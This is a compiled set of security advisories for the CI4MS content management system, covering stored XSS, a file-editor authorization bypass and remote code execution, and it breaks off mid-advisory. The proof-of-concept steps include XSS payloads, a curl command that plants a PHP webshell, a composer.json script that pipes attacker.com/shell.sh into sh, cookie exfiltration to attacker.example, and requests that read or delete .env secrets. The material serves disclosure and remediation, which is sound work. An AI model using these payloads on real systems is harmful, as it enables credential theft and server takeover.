Package Instance

CI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary  
### **Vulnerability: Stored DOM XSS via Methods Management Fields (Global Persistent Payload Execution)**  
- Stored Cross-Site Scripting via Unsanitized Method Creation and Management Inputs  
- Automatic Execution Across All Pages Where Method Is Rendered in Navigation  

## Description  
The application fails to properly sanitize user-controlled input within the **Methods Management** functionality when creating or managing application methods/pages. Multiple input fields accept attacker-controlled JavaScript payloads that are stored server-side without sanitization or output encoding.

These stored values are later rendered directly into administrative interfaces and global navigation components without proper encoding, resulting in **Stored DOM-Based Cross-Site Scripting (XSS)**.

Critically, because created methods are automatically rendered inside the system’s navigation/menu structure, the injected payload executes globally — meaning **every page visited where the malicious method appears in the menu triggers the XSS payload automatically**.

This significantly increases severity, as exploitation is not limited to a single view — it becomes a platform-wide persistent execution point.

## Affected Functionality  
- Methods creation functionality  
- Methods management and listing functionality  
- Administrative navigation rendering  
- Permission-related UI rendering  
- Global sidebar / menu rendering  
- Storage and retrieval of method-related data  

## Affected Fields  
The following fields accept unsanitized input and allow persistent JavaScript injection:
- Page Name  
- Description  
- Controller  
- Method Name  
- Seflink  
- Page Order  
- Symbol (FontAwesome 5)  
- Permissions  
- Parent Page  
- Module  

## Attack Scenario  
1. An attacker creates or edits a method.
2. The attacker injects a malicious XSS payload into any vulnerable field (e.g., Page Name).
3. The application stores the payload without sanitization or encoding.
4. The method is automatically rendered inside the application’s navigation/menu.
5. Every time any user visits any page where the menu is displayed, the malicious JavaScript executes automatically.

Because the navigation is globally rendered across backend pages, the XSS triggers on nearly every administrative page visit.

## Impact  
- Persistent Stored DOM XSS  
- Automatic execution across multiple application pages  
- Execution of arbitrary JavaScript in victims’ browsers  
- Privilege escalation when viewed by administrators  
- Full administrator account takeover  
- Full account takeover across all roles  
- Session hijacking  
- CSRF token theft  
- Complete compromise of the entire application  

This vulnerability is highly severe due to:
- Persistent storage  
- Global rendering surface  
- Automatic execution without user interaction  
- High likelihood of administrator exposure  

Endpoints:
- `/backend/methods/`  
- `/backend/methods/create`  

## Steps To Reproduce (POC)  
1. Navigate to Methods Management → Create Method  
2. Insert the following payload into Page Name (or any vulnerable field):  
`<img src=x onerror=alert(document.domain)>`  
3. Save the method  
4. Navigate to any backend page  
5. Observe the payload executing automatically wherever the malicious method appears in the menu  
6. The XSS triggers across all pages where the navigation is rendered.

## Remediation  
- Never use `.html()`, `innerHTML`, or equivalent unsafe DOM sinks with untrusted data  
- Implement strict output encoding (HTML entity encoding) before rendering user input  
- Apply server-side input validation and sanitization  
- Use contextual escaping depending on rendering context (HTML, attribute, JS, URL)  
- Implement a strong Content Security Policy (CSP)  
- Set cookies with HttpOnly, Secure, and SameSite flags  
- Perform security review of all navigation rendering logic  

Failure to properly encode and sanitize user-controlled method fields results in full application compromise through persistent global XSS.

# Ready Video POC:
https://mega.nz/file/CFsiQAJS#cBSF2lCMD7YNZEKYEjw3T8YturY92oBvrdRQ08gmw2A

CI4MS: Blogs Posts Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Blog Post Content (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Post Content in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog posts. An attacker can inject a malicious JavaScript payload into blog post content, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog post creation functionality
- Blog post editing functionality
- Blog post storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog post to include a malicious XSS payload.
- The application stores this content without sanitization or encoding.
- The payload persists and executes whenever the blog post is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/create`
- `/backend/blogs/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Post Create or Edit page
2. Insert an XSS payload into the blog post content such as:
`<img src=x onerror=alert(document.domain)>`
3. Save or publish the blog post
4. View the post via the administrative panel or public blog page
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
 https://mega.nz/file/bYtCQRqT#ph1S_01XaYXiNTzanP3AVL6aQMe0YC5Py7Gko1FoT4A

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files
## Summary

The Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.

## Details

The `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:

```php
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];
```

This array is checked **only** in `listFiles()` at lines 45-48 and 64:

```php
// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;
```

However, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:

```php
public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}
```

This means any file within ROOTPATH — regardless of extension (`.php`, `.env`, etc.) — can be read by any user with the `fileeditor.read` permission.

Similarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:

```php
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];
```

`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.

**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:

```php
public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];
```

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

## PoC

Requires an authenticated backend session with `fileeditor.read` permission granted.

**Step 1: Read .env file to extract secrets**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'
```
Expected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.

**Step 2: Read PHP configuration files**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'
```
Expected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).

**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'
```
The next `composer install` or `composer update` executes the attacker's script.

**Step 4: Delete .env (requires `fileeditor.delete` permission)**
```bash
curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
  -d 'path=/.env'
```

## Impact

- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.
- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.
- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.
- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.

## Recommended Fix

Apply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:

```php
// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
    $pathParts = explode('/', trim($path, '/'));
    foreach ($pathParts as $part) {
        if (in_array($part, $this->hiddenItems)) {
            return true;
        }
    }
    return false;
}

// Then add to readFile(), saveFile(), renameFile(), createFile(), 
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
    return $this->failForbidden();
}

// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}
```

Also re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.

CI4MS: Logs Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM Blind XSS via Logs Interface Rendering (Administrative Context Execution)**
- Stored Cross-Site Scripting (Blind XSS) via Unsafe Rendering of User-Controlled Logged Data

### Description
The application renders user-controlled input unsafely within the logs interface. If any stored XSS payload exists within logged data, it is rendered without proper output encoding.

This issue becomes a Blind XSS scenario because the attacker does not see immediate execution. Instead, the payload is stored within application logs and only executes later when an administrator views the logs page.

For example, accessing `/backend/backup/restore/xss-payload-here` causes an error that gets logged by the application. If the injected portion contains an XSS payload, it is stored inside the logs without sanitization and later rendered unsafely inside the logs management interface.

When an administrator views the logs page, the stored payload executes automatically in the administrative browser context, leading to stored blind cross-site scripting (Blind XSS).

### Affected Functionality
- Application logging mechanism
- Logs storage and retrieval logic
- Logs rendering within administrative interface
- Any endpoint that logs unsanitized user-controlled input

### Attack Scenario
- An attacker injects a malicious XSS payload into any user-controlled input that is logged by the application.
- Example: Visit `/backend/backup/restore/<img src=x onerror=alert(document.domain)>`
- The application throws an error and logs the malicious payload.
- The payload is stored within application logs.
- An administrator views the logs interface.
- The payload executes automatically in the administrator’s browser context.

Any method or endpoint that logs user-controlled input without sanitization will result in the same Blind XSS condition when viewed inside logs management.

### Impact
- Persistent Stored Blind XSS
- Execution of arbitrary JavaScript in administrators’ browsers
- Privilege escalation when viewed by administrators
- Full administrator account takeover
- Full compromise of the entire application

Endpoints:
- `/backend/logs/`
- `/backend/backup/restore/{payload}`
- Any other endpoint that logs xss payloads there

## Steps To Reproduce (POC)
1. Trigger an endpoint that logs user-controlled input, such as:
   `/backend/backup/restore/<img src=x onerror=alert(document.domain)>`
2. Ensure the request generates an error and the payload is written into application logs
3. Navigate to the logs interface as an administrator
4. View the logged entry
5. Notice the XSS payload executing automatically (Blind XSS)

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.
# Ready Video POC:
https://mega.nz/file/jRN3nDSR#wJCwyFhbeT-OYAwlaTD_7j6wc5wRgz1EGJL0bnuhHxY

CI4MS: Company Information Public-Facing Page Full Platform Compromise & Full Account Takeover for All Roles & Privilege-Escalation via System Settings Company Information Stored DOM XSS
An attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM Blind XSS on public-facing landing pages through the System Settings Company Information section which allows the injection of XSS payloads

ci4-cms-erp/ci4ms: System Settings (Mail Settings) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Mail Settings (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Mail Settings Configuration Fields

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Mail Settings**. Several configuration fields, including **Mail Server, Mail Port, Email Address, Email Password, Mail Protocol, and TLS settings**, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Unlike public-facing XSS that executes on landing pages, this vulnerability executes immediately on the same settings page. The injected payload breaks out of the HTML attribute context and is interpreted by the browser when rendered, resulting in same-page DOM-based XSS.

This represents different functionality and a separate vulnerability from landing-page injection.

### Example Affected Fields
- Mail Server: `test`
- Mail Port: `465`
- Email Address: `simple@gmail.com`
- Email Password: (any input)
- Mail Protocol: `SMTP`
- Domain: `simple@domain.com`

### Affected Functionality
- System Settings – Mail Settings configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of mail configuration values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Mail Settings fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page.
- The script executes in the browser context of the authenticated user managing Mail Settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Mail Settings)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Mail Settings
2. Insert the following XSS payload into any Mail Settings field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation
- Never use .html() or any innerHTML-style sinks for user-controlled input in PHP or JavaScript.
- Apply proper **HTML encoding and input sanitization** for all configuration fields.
- Enforce CSP, HttpOnly, SameSite, and Secure flags for cookies to reduce the severity of XSS and potential CSRF escalation.
- Audit all other system settings fields for similar attribute injection vulnerabilities.

# Ready Video POC:
https://mega.nz/file/KRNhUI6Q#NGC3Bow3RlnmdU1H2bGu1BGbpfIc-awi6IlvTp08V1s

CI4MS: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
# Summary  
### **Vulnerability: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS**
- Stored Cross-Site Scripting via Unsanitized Blog Post Content in Blog Management (Categories)

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog posts within the **Categories** section. An attacker can inject a malicious JavaScript payload into the **Categories** content, which is then stored server-side.

This stored payload is later rendered unsafely when the **Categories** are viewed via blog posts, without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog post **Categories** creation functionality
- Blog post **Categories** editing functionality
- Blog post **Categories** storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog post **Category** to include a malicious XSS payload in the category description or name.
- The application stores this content without sanitization or encoding.
- The payload persists and executes whenever the category is viewed within the blog posts section, leading to the execution of arbitrary JavaScript in the victim’s browser.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users within the **Categories** functionality
- Full administrator account takeover through **Categories** access
- Full account takeover across all roles via **Categories** pages
- Full compromise of the entire application via XSS in **Categories**

**Endpoints:**
- `/backend/blogs/create` (Categories specific)
- `/backend/blogs/` (Categories view)
- `/blog/{id}` (Rendered blog post under Categories)

## Steps To Reproduce (POC)
1. Go to the **Categories** section of the blog management panel.
2. Create a new category or edit an existing category.
3. Insert an XSS payload into the category content, such as:
`<img src=x onerror=alert(document.domain)>`
4. Save or publish the Categories.
5. View the category via the blog posts in the administrative panel or public blog page under the Categories section.
6. Notice the XSS payload executing automatically when the Category is viewed in the Blog Posts.

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/SAdVxK7b#kFW_sFOim_d_1AnVcpwvzOEV4MHv33LLooL4Xa_Ymgg

CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor
**Summary**

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

**Vulnerability Details**

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

**Impact**

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
```

Inject a PHP payload into the file using the save endpoint:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
```

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension `Whitelist`ing: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).

CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization
## Summary

The Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

## Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

**`modules/Blog/Controllers/Blog.php:82`**
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

The Pages module omits this rule in both create and update methods:

**`modules/Pages/Controllers/Pages.php:82`** (create)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

**`modules/Pages/Controllers/Pages.php:130`** (update)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

Content is stored directly without sanitization:

**`modules/Pages/Controllers/Pages.php:111`** (create path)
```php
'content' => $lData['content'],
```

**`modules/Pages/Controllers/Pages.php:157`** (update path)
```php
'content' => $lData['content'],
```

On the public frontend, the content is rendered as raw HTML without escaping:

**`app/Views/templates/default/pages.php:32`**
```php
<?php echo $pageInfo->content ?>
```

Note that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight.

The `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

## PoC

**Step 1: Create a page with XSS payload (requires admin session)**
```bash
curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
```

**Step 2: Visit the page as any unauthenticated user**
```
https://target/tr/test-xss-page
```

**Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

## Impact

- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators
- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials
- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors
- **Malware distribution:** Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

## Recommended Fix

Add the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

**`modules/Pages/Controllers/Pages.php:82`** — change:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```
to:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

**`modules/Pages/Controllers/Pages.php:130`** — apply the same change:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

Additionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `'raw'` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

CI4MS: System Settings (Social Media Management) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Social Media Management (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-site Scripting via Unsanitized Social Media Configuration Fields with Immediate Same-Page Execution

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Social Media Management**. Multiple configuration fields, including **Social Media** and **Social Media Link**, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Unlike typical stored XSS that executes on other pages (such as public-facing landing pages), this vulnerability executes directly on the same settings page. The injected payload breaks out of the input attribute context and is immediately interpreted by the browser, resulting in same-page DOM-based XSS.

This represents a different functionality and a separate vulnerability class from public-facing landing page injection.

### Affected Functionality
- System Settings – Social Media Management configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of social media configuration values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Social Media Management fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page when rendered.
- The script executes in the browser context of the authenticated user managing settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Social Media Management)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Social Media Management
2. Insert the following XSS payload into any Social Media or Social Media Link field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/PBEFBCpJ#rGGxjnPN38qDtmJssAgIoLuStBcQaZFpR0J1bKAXApc

CI4MS: Blogs Categories Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via Blog Category Title (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Category Title in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side.

This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog category creation functionality
- Blog category editing functionality
- Blog category storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog category title to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the category title is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/categories/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Categories management page
2. Create or edit a category and insert an XSS payload into the category title such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the category
4. View a public blog category page, blog post page, or the administrative interface
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/GAFC3AJY#3LHyuyl7I7921UEeA-JlUYdckh6zGLCTy-6w9BNzSmQ

CI4MS has stored XSS via srcdoc attribute bypass in Google Maps iframe setting
## Summary

The Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `<iframe>` allowlist and regex-based removal of `on\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `<iframe srcdoc="...">` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.

## Details

**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):

```php
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);
```

